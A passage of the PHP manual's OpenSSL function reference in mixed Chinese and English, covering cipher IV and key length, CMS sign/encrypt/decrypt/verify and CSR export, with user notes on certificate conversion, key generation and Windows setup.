  • openssl_pkey_get_details — 返回包含密钥详情的数组
  • openssl_pkey_get_private — 获取私钥
  • openssl_pkey_get_public — 从证书中解析公钥，以供使用
  • openssl_pkey_new — 生成一个新的私钥
  • openssl_private_decrypt — 使用私钥解密数据
  • openssl_private_encrypt — 使用私钥加密数据
  • openssl_public_decrypt — 使用公钥解密数据
  • openssl_public_encrypt — 使用公钥加密数据
  • openssl_random_pseudo_bytes — 生成一个伪随机字节串
  • openssl_seal — 密封 (加密) 数据
  • openssl_sign — Generate signature
  • openssl_spki_export_challenge — 导出与签名公钥和 challenge 相关的 challenge
  • openssl_spki_export — 通过签名公钥和 challenge 导出一个可用的 PEM 格式的公钥
  • openssl_spki_new — 生成新的签名公钥和 challenge
  • openssl_spki_verify — 验证签名公钥和 challenge
  • openssl_verify — 验证签名
  • openssl_x509_check_private_key — 检查私钥是否对应于证书
  • openssl_x509_checkpurpose — 验证是否可以为特定目的使用证书
  • openssl_x509_export_to_file — 导出证书至文件
  • openssl_x509_export — 以字符串格式导出证书
  • openssl_x509_fingerprint — 计算一个给定的 x.509 证书的指纹或摘要
  • openssl_x509_free — 释放证书资源
  • openssl_x509_parse — 解析一个 X509 证书并作为一个数组返回信息
  • openssl_x509_read — 解析 x.509 证书并返回对象
  • openssl_x509_verify — Verifies digital signature of x509 certificate against a public key

User Contributed Notes

Anonymous 24-Nov-2020 10:50
Improvement to the first comment, this function will handle correctly cert chains when converting from PEM to DER format:

<?php

    function pemToDer(string $pem_data): string
    {
        $der_data = '';

        $begin = "-----BEGIN CERTIFICATE-----";
        $end   = "-----END CERTIFICATE-----";
        while (strpos($pem_data, $begin) !== false) {
            $pem_data = substr($pem_data, strpos($pem_data, $begin) + strlen($begin));
            $der_data .= substr($pem_data, 0, strpos($pem_data, $end));
            $pem_data = substr($pem_data, strpos($pem_data, $end) + strlen($end));
        }

        return base64_decode($der_data);
    }
karel dot wintersky at gmail dot com 20-Sep-2017 11:40
May be useful for cyphers execution speed.

<?php
// PHP 7.0+ required!
// see results at https://gist.github.com/KarelWintersky/fe29dcad75de515e5a468894e7c070e6

const TEST_COUNT = 100000;
const SOURCE = 'Note that HTML tags are not allowed in the posts, but the note formatting is preserved.';
const KEY = "password";

function TESTER( $testing_function, $argument )
{
    $t = microtime(true);

    for ($test_iterator = 0; $test_iterator < TEST_COUNT; $test_iterator++) {
        $testing_function( $argument );
    }
    return round(microtime(true) - $t, 4);
}

$crypt = function($cipher) {
    $ivlen = openssl_cipher_iv_length($cipher);
    $iv = openssl_random_pseudo_bytes($ivlen);
    openssl_encrypt(SOURCE, $cipher, KEY, $options=0, $iv);
};

$methods = openssl_get_cipher_methods(false);

array_splice( $methods, 0, count($methods) / 2);

$timings = array();

foreach ($methods as $cypher) {
    $time = TESTER( $crypt, $cypher );
    $timings[ $cypher ] = $time;
    echo str_pad($cypher, 40, ' ', STR_PAD_LEFT), " have time  ", str_pad($time, 8, STR_PAD_LEFT), ' seconds. ', PHP_EOL;
}

uasort($timings, function($a, $b){
    return $a <=> $b;
});

$min_time = round(reset($timings) / TEST_COUNT, 7);
$min_cypher = key($timings);

$max_time = round(end($timings) / TEST_COUNT, 7);
$max_cypher = key($timings);

echo '-------------', PHP_EOL;
echo "Total tests: ", count($timings), PHP_EOL;
echo "Max timing : {$max_time} seconds for `{$max_cypher}` algorithm.", PHP_EOL;
echo "Min timing : {$min_time} seconds for `{$min_cypher}` algorithm.", PHP_EOL;

echo 'Details: ', PHP_EOL;

foreach ($timings as $m => $t) {
    echo '- ', str_pad($t, 8, STR_PAD_LEFT), " seconds for `{$m}`",  PHP_EOL;
}

echo PHP_EOL;
kraven at kraven dot org 10-Jan-2013 06:35
If you want to verify that a csr was generated properly from your private key you can do the following:

<?php
$countryName = "UK";
$stateOrProvinceName = "London";
$localityName = "Blah";
$organizationName = "Blah1";
$organizationalUnitName = "Blah2";
$commonName = "Joe Bloggs";
$emailAddress = "openssl@example.com";

$dn = array(
  "countryName" => $countryName,
  "stateOrProvinceName" => $stateOrProvinceName,
  "localityName" => $localityName,
  "organizationName" => $organizationName,
  "organizationalUnitName" => $organizationalUnitName,
  "commonName" => $commonName,
  "emailAddress" => $emailAddress
);

$badPriv = 'foo';

// generate a bad csr
$badCsr = openssl_csr_new($dn, $badPriv);

// generate private key
$priv = openssl_pkey_new();

// generate csr
$csr = openssl_csr_new($dn, $priv);

$badCsrDetails = openssl_pkey_get_details(openssl_csr_get_public_key($badCsr));
$privDetails = openssl_pkey_get_details($priv);
$csrDetails = openssl_pkey_get_details(openssl_csr_get_public_key($csr));

echo md5($badCsrDetails['rsa']['n']);
echo "\nDoes not match\n";
echo md5($privDetails['rsa']['n']);
echo "\nMatches\n";
echo md5($csrDetails['rsa']['n']);
echo "\n";
?>

This output is an md5 hash of the modulus.  The same check can be accomplished with openssl:
openssl rsa -noout -modulus -in server.key | openssl md5
openssl req -noout -modulus -in server.csr | openssl md5
rahuul at yours dot com 23-Mar-2010 11:43
for changing serial no of cert following is the solution:

<?php
$sscert = openssl_csr_sign($csr, $cacert, $privkey, $days,$config,$serial);
?>
web at mburda dot com 18-Jun-2008 09:45
There is a little problem with Matt Alexander's code below.
Both public and private key are generated internally and saved into OpenSSL class object properties but only private key is then used.
Public key is taken from an external file and if it differs from the one stored internally, OpenSSL fails to decrypt the text.
stephen_at_liberty-irm_dot_com 09-Mar-2008 03:14
This note is primarily aimed at folks storing encrypted things in MySQL as I'm unfamiliar with other database setups. If you store, for example, a credit card number that has been encrypted by openssl_public_encrypt inside of a database, the column type for the column you are storing the number in must be a blob. This is because "the result might contain arbitrary byte values" (MySQL Reference Manual). Basically, if you try to store it in a VARCHAR, LONGTEXT, etc, certain parts of the encrypted data may be dropped, truncated, etc. This will of course make the data impossible to decrypt. Hopefully this will help someone, because it had me stumped for about an hour!
jts 27-Nov-2007 02:07
Win32 users having trouble getting php_openssl to work should make sure that they replace ALL the versions of libeay32.dll and ssleay32.dll, with the ones included with PHP.  This is especially true while using Apache2 and OpenSSL together, as some OpenSSL win32 packages include older versions of these two files.
daevid at daevid dot com 19-Nov-2007 06:04
There doesn't seem to be a function here to test if a cert is valid (i.e. not corrupt)... This bash snippet should help. Sorry it's not PHP. slap it in a system(); call or make it a bash script and call it that way or something...

if [ "`openssl x509 -in /etc/certs/my.crt -noout -modulus`" = "`openssl rsa -in /etc/keys/my.key -noout -modulus`" ]; then echo "Match"; else echo "Different"; fi
kurian at net4ideas dot com 29-Oct-2007 08:01
For working of openssl in windows platform IIS webserver, we need to enable in php.ini, tne copy libeay32.dll and ssleay32.dll to the php folder (or windows's system32 folder) and add both dll's path to the window's PATH variable. It seems to be working for me after I did these changes.
mattalexx at gmail dot com 29-Aug-2007 02:16
Use this for simple public/private key encryption.

<?php

/**
 * Point to your config file
 *
 */
define("OPEN_SSL_CONF_PATH", "/usr/share/ssl/openssl.cnf");
/**
 * Length of time certificate is valid (in days)
 *
 */
define("OPEN_SSL_CERT_DAYS_VALID", 365);
/**
 * Passphrase required with private key
 *
 */
define("OPEN_SSL_PASSPHRASE", "lkdfjbjeyrasdfvkajwdeblsolkdkdjfbvzslalsmdbfvksb");
/**
 * Enter description here...
 *
 */
define("OPEN_SSL_PUBKEY_PATH", "/docs/domains/mywebsite.com/docs/key.pem"); // Public key path

/**
 * A wrapper class for a simple subset of the PHP OpenSSL functions. Use for public key encryption jobs.
 *
 * <code>
 *
 * // To configure
 * // 1. Set OPEN_SSL_CONF_PATH to the path of your openssl.cnf file.
 * // 2. Set OPEN_SSL_PASSPHRASE to any passphrase.
 * // 3. Use the OpenSSL::do_csr method to generate your private and public keys (see next section).
 * // 4. Save the private key somewhere offline and save your public key somewhere on this machine.
 * // 5. Set OPEN_SSL_PUBKEY_PATH to the public key's path.
 *
 * // To generate keys
 * $ossl = new OpenSSL;
 * $ossl->do_csr();
 * $privatekey = $ossl->privatekey;
 * $publickey = $ossl->publickey;
 * unset($ossl);
 *
 * // Encrypt
 * $text = "Secret text";
 * $ossl = new OpenSSL;
 * $ossl->encrypt($text);
 * $encrypted_text = $ossl->crypttext;
 * $ekey = $ossl->ekey;
 * unset($ossl);
 *
 * // Decrypt
 * $ossl = new OpenSSL;
 * $decrypted_text = $ossl->decrypt($encrypted_text, $privatekey, $ekey);
 * unset($ossl);
 *
 * @author Matt Alexander (mattalexx@gmail.com) [based on code by Alex Poole (php@wwwcrm.com)]
 * @copyright 2007
 *
 */
class OpenSSL {

   public $privatekey;
   public $publickey;
   public $csr;
   public $crypttext;
   public $ekey;

   public function encrypt($plain) {

      // Turn public key into resource
      $publickey = openssl_get_publickey(is_file(OPEN_SSL_PUBKEY_PATH)? file_get_contents(OPEN_SSL_PUBKEY_PATH) : OPEN_SSL_PUBKEY_PATH);

      // Encrypt
      openssl_seal($plain, $crypttext, $ekey, array($publickey));
      openssl_free_key($publickey);

      // Set values
      $this->crypttext = $crypttext;
      $this->ekey = $ekey[0];
   }

   public function decrypt($crypt, $privatekey, $ekey="") {

      // Turn private key into resource
      $privatekey = openssl_get_privatekey((is_file($privatekey)? file_get_contents($privatekey) : $privatekey), OPEN_SSL_PASSPHRASE);

      // Decrypt
      openssl_open($crypt, $plaintext, $ekey, $privatekey);
      openssl_free_key($privatekey);

      // Return value
      return $plaintext;
   }

   public function do_csr(
   $countryName = "UK",
   $stateOrProvinceName = "London",
   $localityName = "Blah",
   $organizationName = "Blah1",
   $organizationalUnitName = "Blah2",
   $commonName = "Joe Bloggs",
   $emailAddress = "openssl@domain.com"
   ) {
      $dn = array(
         "countryName" => $countryName,
         "stateOrProvinceName" => $stateOrProvinceName,
         "localityName" => $localityName,
         "organizationName" => $organizationName,
         "organizationalUnitName" => $organizationalUnitName,
         "commonName" => $commonName,
         "emailAddress" => $emailAddress
         );
      $config = array(
         "config" => OPEN_SSL_CONF_PATH
         );
      $privkey = openssl_pkey_new();
      $csr = openssl_csr_new($dn, $privkey, $config);
      $sscert = openssl_csr_sign($csr, null, $privkey, OPEN_SSL_CERT_DAYS_VALID, $config);
      openssl_x509_export($sscert, $this->publickey);
      openssl_pkey_export($privkey, $this->privatekey, OPEN_SSL_PASSPHRASE, $config);
      openssl_csr_export($csr, $this->csr);
   }

}

?>
ChronoFish 16-Aug-2007 11:17
There is a note below regarding the need to copy BOTH ssleay32.dll AND libeay32.dll to a folder in the system PATH on Win32 systems.

That is absolutely true.  It should be noted also that Windows will search the Windows system directories before it will search the PATH.  If you have existing .dlls in these directories - rename (rather than deleting in case you need to undo your changes) them and copy over the latest version of these files.

Key locations may include the /i386, /windows/system32, and ~/apache/.../modules directories.

I also updated my ~/subversion/bin directory.

-CF
igor dot gorshkov at gmail dot com 27-Apr-2007 05:31
I generate certificates in such a way.

$config = array("config" => "d:/sslcert/openssl.cnf");
$dn = array(
   "countryName" => "RU",
   "stateOrProvinceName" => "Russia",
   "localityName" => "Saint-Petersburg",
   "organizationName" => "temp",
   "organizationalUnitName" => "temp",
   "commonName" => "temp",
   "emailAddress" => "temp@temp.com"
);
$privkey_enc = openssl_pkey_new($config);
$csr = openssl_csr_new($dn, $privkey_enc, $config);
$sscert = openssl_csr_sign($csr, null, $privkey_enc, 365);
openssl_x509_export_to_file($sscert, "d:/cert_enc.crt");
openssl_pkey_export_to_file($privkey_enc, "d:/privkey_enc.pem");

As a result all the received certificates have identical serial number (00). But it should not be! How to avoid it?
dan -AT- NOSPAM danschafer DOT netTT 28-Mar-2007 10:58
Currently, all OpenSSL Functions defined in PHP only utilize the PEM format.  Use the following code to convert from DER to PEM and PEM to DER.

<?php
$pem_data = file_get_contents($cert_path.$pem_file);
$pem2der = pem2der($pem_data);

$der_data = file_get_contents($cert_path.$der_file);
$der2pem = der2pem($der_data);

function pem2der($pem_data) {
   $begin = "CERTIFICATE-----";
   $end   = "-----END";
   $pem_data = substr($pem_data, strpos($pem_data, $begin)+strlen($begin));
   $pem_data = substr($pem_data, 0, strpos($pem_data, $end));
   $der = base64_decode($pem_data);
   return $der;
}

function der2pem($der_data) {
   $pem = chunk_split(base64_encode($der_data), 64, "\n");
   $pem = "-----BEGIN CERTIFICATE-----\n".$pem."-----END CERTIFICATE-----\n";
   return $pem;
}
?>
Richard Ablewhite 04-Dec-2006 02:23
Windows users be warned that you need the following file in system32:

msvcr71.dll

It has to go in system32, is not picked up from php/dlls
yabba dabba 26-Jul-2006 11:23
The php4 distribution for Windows/IIS has a README-SSL.txt which strongly implies that just the path needs to be added to the OPENSLL_CONF variable in the server's environment variables. Be sure to add the file name and extension too.

E.g.: c:\php-4.3.11\openssl\openssl.cnf
peter dot mescalchin @ geemail dot com 16-May-2006 01:34
For w32 users to enable OpenSSL support. As well as copying "libeay32.dll" to the windows system32 folder you also need to copy "ssleay32.dll".  The documentation above should probably be updated to note this.

This requirement was documented at the libcurl pages:

http://curl.haxx.se/libcurl/php/install.html#windows
php ~at~ wwwcrm dot komm 16-Nov-2005 08:47
If you want to use PHP for public / private key encryption jobs without needing to know the ins and outs of the Open SSL extension, the following may be of interest:

http://www.karenandalex.com/php_stuff/_class_OpenSSL.phps

This class was unavailable for a long while (server problems) but is now back up. Apologies to those who clicked through and got a 404

I hope it is useful to you...

Alex
beckman at purplecow dot com 08-Nov-2005 12:07
FreeBSD Ports tree php5-openssl uses openssl-0.9.8a.  This is a problem, as if you install these two ports and attempt to open an HTTPS URL within PHP, it will fail with this error from openssl_error_string(): error:140A90A1:SSL routines:func(169):reason(161) which is SSL_R_LIBRARY_HAS_NO_CIPHERS or "library has no ciphers"

This is because the openssl library now requires you to load your ciphers manually -- all ciphers are not automatically loaded for you.

I don't believe the php5-openssl module has been updated to do this before opening an SSL connection (as of 5.0.5).

Using openssl-0.9.7i seems to work; symlinking libcrypto.so.3 to libcrypto.so.4 prevents the php5-openssl port from trying to install openssl-0.9.8a.  So install openssl-stable (0.9.7i) from ports first, symlink 2nd, then install php5-openssl 3rd, and you should be OK.
matt at NOSPAMopenflowsPLEASE dot org 08-Nov-2005 10:42
The openssl functions were disabled in Debian release 3.0 (woody), but as of release 3.1 (sarge) they're available again.
greensweater 31-Aug-2005 04:21
Sorry, the code in my previous note doesn't work... the last line should read:

$csr = openssl_csr_new(array('commonName'=>'MyCSR'),$pkey,$config);
greensweater 30-Aug-2005 09:54
"You need to have a valid openssl.cnf installed for this function to operate correctly" includes most openssl functions. You can force php to find your openssl.cnf file as follows:

$config = array('config'=>'/path/to/openssl.cnf');
$pkey = openssl_pkey_new($config);
$csr = openssl_csr_new('MyCSR',$pkey,$config);
skippy zuavra net 20-Oct-2004 05:38
In case you're wondering what's a "correctly hashed" directory for the use with cainfo: it's simply a directory which contains CA public certificates in PEM/X.509 format. You can get such certificates either from the CA's website (they advertise it in visible places) or from your browser. In Explorer for instance you can click on the little yellow padlock, go to the CA entry and export it.

The only trick with the directory is that file names must be in the form "hash.#". The "hash" part is the 8-digit hex hash of the certificate, while the # part is a number which serves to differentiate certificates which give the same hash (yes, it can happen with certificates coming from the same CA). Usually # is 0, but you also can use 1, 2 and so on when having more certs with the same hash.

In order to obtain the hash of a certificate you can use the openssl command line utility like this:

openssl x509 -hash -in certfile.cer | head -1
jaz at ensn dot net 16-Sep-2004 11:18
For newbies (as me):
If you want to try at home on win32, you can learn how to install apache+ssl on this url: http://tud.at/programm/apache-ssl-win32-howto.php3

Versions on English, Spanish and French.

Just I have read and install and run perfectly.
norman at rasmussen dot org 02-Feb-2004 10:43
Debian maintainers have disabled the openssl support because it seems to help break apache on startup.  (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193343 and http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=165699)

- Norman


获取密码iv长度

  • ? OpenSSL 函数
  • openssl_cipher_key_length ?
  • PHP Manual
  • OpenSSL 函数
  • 获取密码iv长度

openssl_cipher_iv_length

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

openssl_cipher_iv_length — 获取密码iv长度

说明

openssl_cipher_iv_length(string $cipher_algo): int|false

获取密码初始化向量(iv)长度。

参数

cipher_algo

密码的方法，更多值查看 openssl_get_cipher_methods() 函数。

返回值

成功，返回密码长度, 失败返回 false .

错误／异常

当密码方法未知时，抛出一个E_WARNING 级的错误。

示例

Example #1 openssl_cipher_iv_length() 范例

<?php
$method = 'AES-128-CBC';
$ivlen = openssl_cipher_iv_length($method);

echo $ivlen;
?>

以上示例的输出类似于：

16

User Contributed Notes

Vee W. 07-Apr-2018 04:30
<?php
$ciphers = openssl_get_cipher_methods();

//ECB mode should be avoided
$ciphers = array_filter($ciphers, function ($n) {
    return stripos($n, "ecb") === FALSE;
});

// At least as early as Aug 2016, Openssl declared the following weak: RC2, RC4, DES, 3DES, MD5 based
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "des") === FALSE;
});
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "rc2") === FALSE;
});
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "rc4") === FALSE;
});
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "md5") === FALSE;
});

if (is_array($ciphers)) {
    foreach ($ciphers as $cipher) {
        echo $cipher.': ';
        echo openssl_cipher_iv_length($cipher);
        echo "<br>\n";
    }
}
?>

Will be...
AES-xxx-xxx is 16
BF-xxx is 8
CAMELLIA-xxx is 16
CAST5-xxx is 8
IDEA-xxx is 8
SEED-xxx is 16

lower case:
aes-xxx-xxx are mixed between 16 and 12.
id-aes-xxx are mixed between 12 and 8.
The values above are tested with PHP 5.5 - 5.6 on Windows. In PHP 7.x is different than this.
Tim Hunt 10-Dec-2014 05:37
The return value is a length in bytes. (Not bits, or anything else.)


Gets the cipher key length

  • ? openssl_cipher_iv_length
  • openssl_cms_decrypt ?
  • PHP Manual
  • OpenSSL 函数
  • Gets the cipher key length

openssl_cipher_key_length

(PHP 8 >= 8.2.0)

openssl_cipher_key_length — Gets the cipher key length

说明

openssl_cipher_key_length(string $cipher_algo): int|false

Gets the cipher key length.

参数

cipher_algo

The cipher method, see openssl_get_cipher_methods() for a list of potential values.

返回值

Returns the cipher length on success, 或者在失败时返回 false.

错误／异常

Emits an E_WARNING level error when the cipher algorithm is unknown.

示例

Example #1 openssl_cipher_key_length() example

<?php
$method = 'AES-128-CBC';

var_dump(openssl_cipher_key_length($method));
?>

以上示例的输出类似于：

int(16)

User Contributed Notes

There are no user contributed notes for this page.


Decrypt a CMS message

  • ? openssl_cipher_key_length
  • openssl_cms_encrypt ?
  • PHP Manual
  • OpenSSL 函数
  • Decrypt a CMS message

openssl_cms_decrypt

(PHP 8)

openssl_cms_decrypt — Decrypt a CMS message

说明

openssl_cms_decrypt(
string $input_filename,
string $output_filename,
OpenSSLCertificate|string $certificate,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string|null $private_key = null,
int $encoding = OPENSSL_ENCODING_SMIME
): bool

Decrypts a CMS message.

参数

input_filename

The name of a file containing encrypted content.

output_filename

The name of the file to deposit the decrypted content.

certificate

The name of the file containing a certificate of the recipient.

private_key

The name of the file containing a PKCS#8 key.

encoding

The encoding of the input file. One of OPENSSL_ENCODING_SMIME, OPENSSL_ENCODING_DER or OPENSSL_ENCODING_PEM.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

Sebastian 28-Feb-2021 09:25
It took me a while to find out the correct way how to decrypt and verify data with these functions.
I needed that to communicate with German Health Insurance Providers as part of a DiGA. Maybe someone finds that useful.

<?php
function decryptAndVerify($signedAndEncryptedRawData): string
{
    $tempDir = __DIR__ . '/tmp';
    $originalFile = tempnam($tempDir, 'original');
    $decryptedFile = tempnam($tempDir, 'decrypted');
    $verifiedFile = tempnam($tempDir, 'verified');

    file_put_contents($originalFile, $signedAndEncryptedRawData);

    // One file with all possible certificates one after the other
    // -----BEGIN CERTIFICATE----- ...-----END CERTIFICATE-----
    $allPossibleSenderCertificates = __DIR__ . '/untrusted.pem';

    // Certificate:
    //    Data:
    //        Version: 3 (0x2)...
    $myCertificate = file_get_contents(__DIR__ . '/my.crt');
    $myPrivateKey = openssl_pkey_get_private(
    // -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----
        file_get_contents(__DIR__ . '/my.prv.key.pem')
    );

    openssl_cms_decrypt(
        input_filename: $originalFile,
        output_filename: $decryptedFile,
        certificate: $myCertificate,
        private_key: $myPrivateKey,
        encoding: OPENSSL_ENCODING_DER
    );

    openssl_cms_verify(
        input_filename: $decryptedFile,
        flags: OPENSSL_CMS_BINARY | OPENSSL_CMS_NOSIGS | OPENSSL_CMS_NOVERIFY,
        ca_info: [],
        untrusted_certificates_filename: $allPossibleSenderCertificates,
        content: $verifiedFile,
        encoding: OPENSSL_ENCODING_DER
    );
    return file_get_contents($verifiedFile);
}


Encrypt a CMS message

  • ? openssl_cms_decrypt
  • openssl_cms_read ?
  • PHP Manual
  • OpenSSL 函数
  • Encrypt a CMS message

openssl_cms_encrypt

(PHP 8)

openssl_cms_encrypt — Encrypt a CMS message

说明

openssl_cms_encrypt(
string $input_filename,
string $output_filename,
OpenSSLCertificate|array|string $certificate,
?array $headers,
int $flags = 0,
int $encoding = OPENSSL_ENCODING_SMIME,
int $cipher_algo = OPENSSL_CIPHER_AES_128_CBC
): bool

This function encrypts content to one or more recipients, based on the certificates that are passed to it.

参数

input_filename

The file to be encrypted.

output_filename

The output file.

certificate

Recipients to encrypt to.

headers

Headers to include when S/MIME is used.

flags

Flags to be passed to CMS_sign.

encoding

An encoding to output. One of OPENSSL_ENCODING_SMIME, OPENSSL_ENCODING_DER or OPENSSL_ENCODING_PEM.

cipher_algo

A cypher to use.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The default cipher algorithm (cipher_algo) is now AES-128-CBC (OPENSSL_CIPHER_AES_128_CBC). Previously, PKCS7/CMS was used (OPENSSL_CIPHER_RC2_40).

User Contributed Notes

Sebastian 28-Feb-2021 09:13
It took me a while to find out the correct way how to sign and encrypt data with these functions.
I needed that to communicate with German Health Insurance Providers as part of a DiGA. Maybe someone finds that useful.

<?php
function signAndEncrypt(string $rawData): string
{
    $tempDir = __DIR__ . '/tmp';
    $tempfileOriginal = tempnam($tempDir, 'original');
    $tempfileSigned = tempnam($tempDir, 'signed');
    $tempfileEncrypted = tempnam($tempDir, 'signedEncrypted');

    file_put_contents($tempfileOriginal, $rawData);

    // pick the correct certificate for the recipient
    $recipientsCertificateFile = __DIR__ . '/recipientsCertificate.pem';
    // -----BEGIN CERTIFICATE----- ...-----END CERTIFICATE-----
    $recipientsCertificate = file_get_contents($recipientsCertificateFile);

    // Certificate:
    //    Data:
    //        Version: 3 (0x2)...
    $myCertificate = file_get_contents(__DIR__ . '/my.crt');
    $myPrivateKey = openssl_pkey_get_private(
        // -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----
        file_get_contents(__DIR__ . '/my.prv.key.pem')
    );

    openssl_cms_sign(
        input_filename: $tempfileOriginal,
        output_filename: $tempfileSigned,
        certificate: $myCertificate,
        private_key: $myPrivateKey,
        headers: [],
        encoding: OPENSSL_ENCODING_DER,
    );

    openssl_cms_encrypt(
        input_filename: $tempfileSigned,
        output_filename: $tempfileEncrypted,
        certificate: $recipientsCertificate,
        headers: [],
        flags: OPENSSL_CMS_BINARY | OPENSSL_CMS_NOSIGS | OPENSSL_CMS_NOVERIFY,
        encoding: OPENSSL_ENCODING_DER,
        cipher_algo: OPENSSL_CIPHER_AES_256_CBC
    );
    return file_get_contents($tempfileEncrypted);
}


Export the CMS file to an array of PEM certificates

  • ? openssl_cms_encrypt
  • openssl_cms_sign ?
  • PHP Manual
  • OpenSSL 函数
  • Export the CMS file to an array of PEM certificates

openssl_cms_read

(PHP 8)

openssl_cms_read — Export the CMS file to an array of PEM certificates

说明

openssl_cms_read(string $input_filename, array &$certificates): bool

Performs the exact analog to openssl_pkcs7_read().

Warning

本函数还未编写文档，仅有参数列表。

参数

input_filename

certificates

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sign a file

  • ? openssl_cms_read
  • openssl_cms_verify ?
  • PHP Manual
  • OpenSSL 函数
  • Sign a file

openssl_cms_sign

(PHP 8)

openssl_cms_sign — Sign a file

说明

openssl_cms_sign(
string $input_filename,
string $output_filename,
OpenSSLCertificate|string $certificate,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
?array $headers,
int $flags = 0,
int $encoding = OPENSSL_ENCODING_SMIME,
?string $untrusted_certificates_filename = null
): bool

This function signs a file with an X.509 certificate and key.

参数

input_filename

The name of the file to be signed.

output_filename

The name of the file to deposit the results.

certificate

The signing certificate. See Key/Certificate parameters for a list of valid values.

private_key

The key associated with certificate. See Key/Certificate parameters for a list of valid values.

headers

An array of headers to be included in S/MIME output.

flags

Flags to be passed to cms_sign().

encoding

The encoding of the output file. One of OPENSSL_ENCODING_SMIME, OPENSSL_ENCODING_DER or OPENSSL_ENCODING_PEM.

untrusted_certificates_filename

Intermediate certificates to be included in the signature.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 openssl_cms_sign() example

<?php

openssl_cms_sign('input.txt', 'output.txt', 'file://cert.pem', 'file://privkey.pem', null, OPENSSL_CMS_BINARY, OPENSSL_ENCODING_DER, 'chain.pem');
?>

User Contributed Notes

miranda dot markmorgan at gmail dot com 01-May-2021 11:30
Manage to make it work at last.

$dn = array(
    "countryName" => "XX",
    "stateOrProvinceName" => "Location",
    "localityName" => "Local",
    "organizationName" => "Sample Organization",
    "organizationalUnitName" => "Organizational Unit",
    "commonName" => "Sample",
    "emailAddress" => "contactus@email.com"
);

// Generate a new private (and public) key pair
$privkey = openssl_pkey_new(array(
    "private_key_bits" => 4096,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));

// Generate a certificate signing request
$csr = openssl_csr_new($dn, $privkey, array('digest_alg' => 'sha512'));

// Generate a self-signed cert, valid for 365 days
$x509 = openssl_csr_sign($csr, null, $privkey, $days=365, array('digest_alg' => 'sha512'));

// Save your private key, CSR and self-signed cert for later use
openssl_csr_export($csr, $csrout) and var_dump($csrout); // .csr
openssl_x509_export($x509, $certout) and var_dump($certout); // .crt.pem
openssl_pkey_export($privkey, $pkeyout, "user_defined_password") and var_dump($pkeyout); // .key.pem

if(openssl_cms_sign ( "file_to_sign", "Sample.p7m" , $x509 , $privkey, null , 0 , 0 , null )){
    echo "SIGNED SUCCESSFULLY! Sample.p7m created... \r\n";
}
else
{
    echo "SIGNED FAILED!\r\n";
}


Verify a CMS signature

  • ? openssl_cms_sign
  • openssl_csr_export_to_file ?
  • PHP Manual
  • OpenSSL 函数
  • Verify a CMS signature

openssl_cms_verify

(PHP 8)

openssl_cms_verify — Verify a CMS signature

说明

openssl_cms_verify(
string $input_filename,
int $flags = 0,
?string $certificates = null,
array $ca_info = [],
?string $untrusted_certificates_filename = null,
?string $content = null,
?string $pk7 = null,
?string $sigfile = null,
int $encoding = OPENSSL_ENCODING_SMIME
): bool

This function verifies a CMS signature, either attached or detached, with the specified encoding.

参数

input_filename

The input file.

flags

Flags to pass to cms_verify().

certificates

A file with the signer certificate and optionally intermediate certificates.

ca_info

An array containing self-signed certificate authority certificates.

untrusted_certificates_filename

A file containing additional intermediate certificates.

content

A file pointing to the content when signatures are detached.

pk7

sigfile

A file to save the signature to.

encoding

The encoding of the input file. One of OPENSSL_ENCODING_SMIME, OPENSSL_ENCODING_DER or OPENSSL_ENCODING_PEM.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


将 CSR 导出到文件

  • ? openssl_cms_verify
  • openssl_csr_export ?
  • PHP Manual
  • OpenSSL 函数
  • 将 CSR 导出到文件

openssl_csr_export_to_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_export_to_file — 将 CSR 导出到文件

说明

openssl_csr_export_to_file(OpenSSLCertificateSigningRequest|string $csr, string $output_filename, bool $no_text = true): bool

openssl_csr_export_to_file() 获取证书签名请求（csr）并将之保存在以 output_filename 命名的 PEM 格式文件中。

参数

csr

See CSR parameters for a list of valid values.

output_filename

输出文件的路径。

no_text

可选参数 notext 影响输出的冗余度。如果设为 false，输出内容将包含附加的人类可读信息。notext 的缺省值为 true。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | csr 现在接受 OpenSSLCertificateSigningRequest 实例；之前接受类型 OpenSSL X.509 CSR 的 resource。

示例

Example #1 openssl_csr_export_to_file() 范例

<?php
$subject = array(
"commonName" => "example.com",
);
$private_key = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$csr = openssl_csr_new($subject, $private_key, array('digest_alg' => 'sha384') );
openssl_pkey_export_to_file($private_key, 'example-priv.key');
// Along with the subject, the CSR contains the public key corresponding to the private key
openssl_csr_export_to_file($csr, 'example-csr.pem');
?>

参见

  • openssl_csr_export() - 将 CSR 作为字符串导出
  • openssl_csr_new() - 生成一个 CSR
  • openssl_csr_sign() - 用另一个证书签署 CSR（或者本身）并且生成一个证书

User Contributed Notes

There are no user contributed notes for this page.


将 CSR 作为字符串导出

  • ? openssl_csr_export_to_file
  • openssl_csr_get_public_key ?
  • PHP Manual
  • OpenSSL 函数
  • 将 CSR 作为字符串导出

openssl_csr_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_export — 将 CSR 作为字符串导出

说明

openssl_csr_export(OpenSSLCertificateSigningRequest|string $csr, string &$output, bool $no_text = true): bool

openssl_csr_export() 获取证书签名请求（csr）并通过引用保存其 PEM 格式的字符串（output）。

参数

csr

See CSR parameters for a list of valid values.

output

